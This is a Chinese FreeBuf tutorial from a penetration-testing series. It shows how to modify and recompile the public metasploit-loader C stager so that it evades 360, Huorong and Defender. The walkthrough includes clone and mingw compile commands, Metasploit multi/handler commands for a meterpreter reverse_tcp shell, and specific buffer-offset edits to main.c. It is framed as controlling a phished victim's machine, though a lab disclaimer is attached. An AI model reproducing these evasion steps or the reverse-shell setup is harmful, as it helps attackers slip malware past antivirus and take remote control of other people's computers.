freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基免杀篇:MSF-loader底层分析免杀过360
2021-01-22 14:24:05

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

metasploit 是一款开源的安全漏洞检测工具,这款免费的工具在渗透圈子中广泛使用着,Metasploit Framework (MSF) 在 2003 年以开放源码方式发布,是可以自由获取的开发框架。而 Metasploit 框架兼容C编程语言。

Metasploit-Loader是使用 Metasploit 开源源码利用C语言编写的一款快速的stager客户端,在平时渗透测试或者HVV中,经常会遇到对方终端安装了各类的杀软,导致无法获得权限进行下一步渗透操作,那么Loader源码在八年前就已经公布在github上了,那么如今基本上大部分知名度杀软都能秒杀该模块。

这个模块生成的后门,不仅支持多种平台,如此热门的红队模块,如今我将带大家进行Loader底层分析C语言如何免杀过360、360杀毒、火绒和deferencer四件套主流杀软的。

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者)

IP:192.168.175.145

系统:kali.2020.4

windows 2019系统是黑客用于C编程制作免杀Loader的系统。

VPS服务器:

此次模拟环境将直接越过VPS平台,已成功在VPS上进行了钓鱼行为。

办公区域:

系统:windwos 10

IP:192.168.2.142

存在:360、360杀毒、火绒、deferencer

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用Loader模块底层分析生成免杀exe,并控制对方的过程。

三、环境部署

kali 2020.4:

将 metasploit-loader 源代码下载到本地:

1611296879_600a706fdfe5eb46d414a.png!small?1611296881041

https://github.com/rsmudge/metasploit-loader

安装下载到kali:

1611296891_600a707b879939f09f3a8.png!small?1611296901312

git clone https://github.com/rsmudge/metasploit-loader.git

根据图片查看,已下载好loader模块源码,也打开了metasploit-loader/master/src/main.c,接下来将分了几种场景如何一步步的进行免杀过360等杀软的演示操作。

四、Main.c初步源码免杀

1、修改源码

1611296908_600a708cc4cb417ebaa0e.png!small?1611296913096

这需要删除和修改红框中的信息,删除的红框信息是删掉建立Socket的握手包代码,将握手信息指定修改到argv[1]...中。

1611296921_600a70994c33b2dce1c83.png!small?1611296925176

修改完成后如上图,双引号引入监听IP,然后加端口即可。

2、安装编译器mingw-w64

1611296928_600a70a04b00931134dca.png!small?1611296934495

需要在kali上安装mingw-w64编译器,需要安装几分钟,主要用于编译为exe文件能够稳定在windows系统执行。

sudo apt-get install mingw-w64

1611296935_600a70a7ca3c3c42174bc.png!small?1611296939102

我这安装了6分多钟完成。

3、初次编译

1611296943_600a70af665a0389a74d6.png!small?1611296946633

i686-w64-mingw32-gcc main.c -o dayu.exe -lws2_3
初次编译报错了,提示是winsock2.h需要调整下。

1611296958_600a70be411fbf2800bd6.png!small?1611296960529

#include <winsock2.h>
#include <windows.h>

那这需要将代码上下互换位置即可。

1611296969_600a70c94a3c64e66f507.png!small?1611296970129

成功编译dayu.exe文件。

4、初次使用

1611296976_600a70d0a8232eaf8dd2c.png!small?1611296979711

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.175.2
set lport 6666
exploit -job

使用metasploit的Msfconsole开启监听,成功开启。

1611296984_600a70d8d6878e93d18bc.png!small?1611296987565

初步测试全球免杀率是25/69,经过初步修改还是挺多杀软查杀,说明该方法已经很多人都使用过了,不慌继续往下带大家继续免杀,这是一个过程。

1611296995_600a70e3f2d9dc898c1b4.png!small?1611296996685

此方法在去年还是可以过杀软的,如今360和火绒都秒杀了该模块生成的dayu.exe文件。

1611297010_600a70f28a7d0186118ac.png!small?1611297014515

这儿可看到此方法编译C是没问题的,也能上线,但是经过小小的修改已经无法免杀杀软了,继续修改达到最终目的!

五、Main.c中级源码免杀

1、环境配置Dev-Cpp

Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe下载:

链接: https://pan.baidu.com/s/1pwUZzWtzyJUqK_HWEKdAXA 密码: 617u

1611297019_600a70fbada2544f8eb23.png!small?1611297020205

下载完成后选择English默认安装即可。

1611297025_600a7101495ced5cde0d9.png!small?1611297027991

安装完成打开,根据语言选择即可Next。

1611297032_600a71081f382ff4ea262.png!small?1611297035057

选择新建-项目,以及右上角选择64-bit。

1611297038_600a710e4d74271e5033f.png!small?1611297039971

点开项目后,选择C项目,类型选择Console Application,名称填入dayu即可。

1611297045_600a71157c807a2135e3e.png!small?1611297051945

https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c

项目确认后,将代码放入,先保存一次,这里就完成了环境安装。

2、底层分析调试

1611297109_600a715564599ef84072c.png!small?1611297115415
该C模块核心部位就是图中这块内容,意思是先建立一个socket握手包,然后将前四个字节分配到RWX缓冲区中,然后将源代码偏移五个单位,然后将socket值复制到缓冲区中,在将字节读入缓冲区中,最后执行DLL Main。

1611297116_600a715cd1a681390c1e7.png!small?1611297119712

1)size + 5改为size + 10
2)buffer[0] = 0xBF; 改为 buffer[0] = 0x48;
3)添加buffer[1] = 0xBF;
4)buffer + 1, &my_socket, 4 改为 buffer + 2, &my_socket, 8
5)buffer + 5 改为 buffer + 10

那么这里熟悉下,以倍数增长的模式调整下缓冲区,这里将修改偏移量偏移改为10位,添加buffer,并偏移量bf改为48,随着偏移量变动buffer和socket位置也需要调整为2和8,最后读入缓冲区的位置也改为10。

1611297126_600a71665a2d999947758.png!small?1611297127634

修改完成后,选择工具-编辑器选项。

1611297132_600a716cd8e11919e213c.png!small?1611297135201

选择TDM-GCC 4.9.2 64-bit Release在连接器命令行中添加-lws2-32即可。

1611297143_600a71774d2487f254a78.png!small?1611297144610

最后选择运行-编译即可。

1611297151_600a717f8a67f840db158.png!small?1611297156071

可看到成功编译,这里只是理解了核心区域,修改了socket缓冲区的位置,看看是否会进行免杀和上线情况!

3、中级免杀情况

1611297160_600a7188ca50c4c0d304b.png!small?1611297163689
可看到全球免杀率27/71比初步调试的方法免杀率还低!!不慌继续往下!

1611297169_600a7191422162ee11852.png!small?1611297186594

这里确定了两点:
1)此方法能过火绒了
2)此方法编译没问题,直接上线了
但是通过修改缓冲区偏移量还是无法过360和360杀毒,依旧被秒杀,还是未达到目的,继续进行底层分析修改。

六、Main.c终极源码免杀

这里就不分类了,环境也在三、四、五类详细说明了,目前已经知道的信息是经过初步分析修改socket指定IP和端口,以及中级阶段分析修改缓冲区偏移量,知道了如何分析和修改底层信息,接下来继续尝试360和360杀毒到底是因为什么查杀了该模块编译的exe文件。

1611297179_600a719b3990b54782124.png!small?1611297188747

来到最顶端的作者注释信息,删除掉注释!

1611297184_600a71a07dc07564df552.png!small?1611297188748

将初步和中阶段两种方法结合,修改socket为指定IP+端口。
这里我将缓冲区继续扩大,偏移量从原有的5改为15(这是个思路),然后根据调整buffer值,继续扩大。

1611297190_600a71a674d7aa4345c8e.png!small?1611297194455

该图可看到,还将所有的作者注释都去掉了,成功生成dayu.exe,继续进行测试!结果还是无法过2021年1月最新360和360杀毒!!

这里思路和底层分析是没问题的,修改思路也告诉大家了,已过火绒的情况下,测试360和360杀毒到底是查杀了main.c的哪个特征码进行查杀的!

1611297197_600a71adb2ff3d96ad6aa.png!small?1611297222152

接下来的修改我就不写出来了(留口饭吃),经过下一步的终极修改(还是在上图大红框中修改),最终360、360杀毒、火绒、deferencer全免杀了。

1611297204_600a71b46474e3a9afb3f.png!small?1611297222153

成功上线,上线后操作命令以及放着等待十几分钟后,杀软还是未报毒和中断该shell。

七、总结

目前网络基本很少msf-loader的免杀思路,有的思路也是很早以前的了,也无法在如今过杀软,但是该工具在在红队渗透工具箱中还是必备工具之一,免杀就起到了至关重要的点。

在这我只是引入们,如何分析这款工具,以及如何进行修改编译,引进门后有很多很多方法可以进行调试二次编译,知道底层的信息后更好的理解如何修改免杀,这里主要讲解的是思路,其次是方法!打造自己专属的main.c免杀模块,如今无免杀无内网!多一种方法,在今后红队内网渗透中多一份有力的工具。

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透测试 # 免杀
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录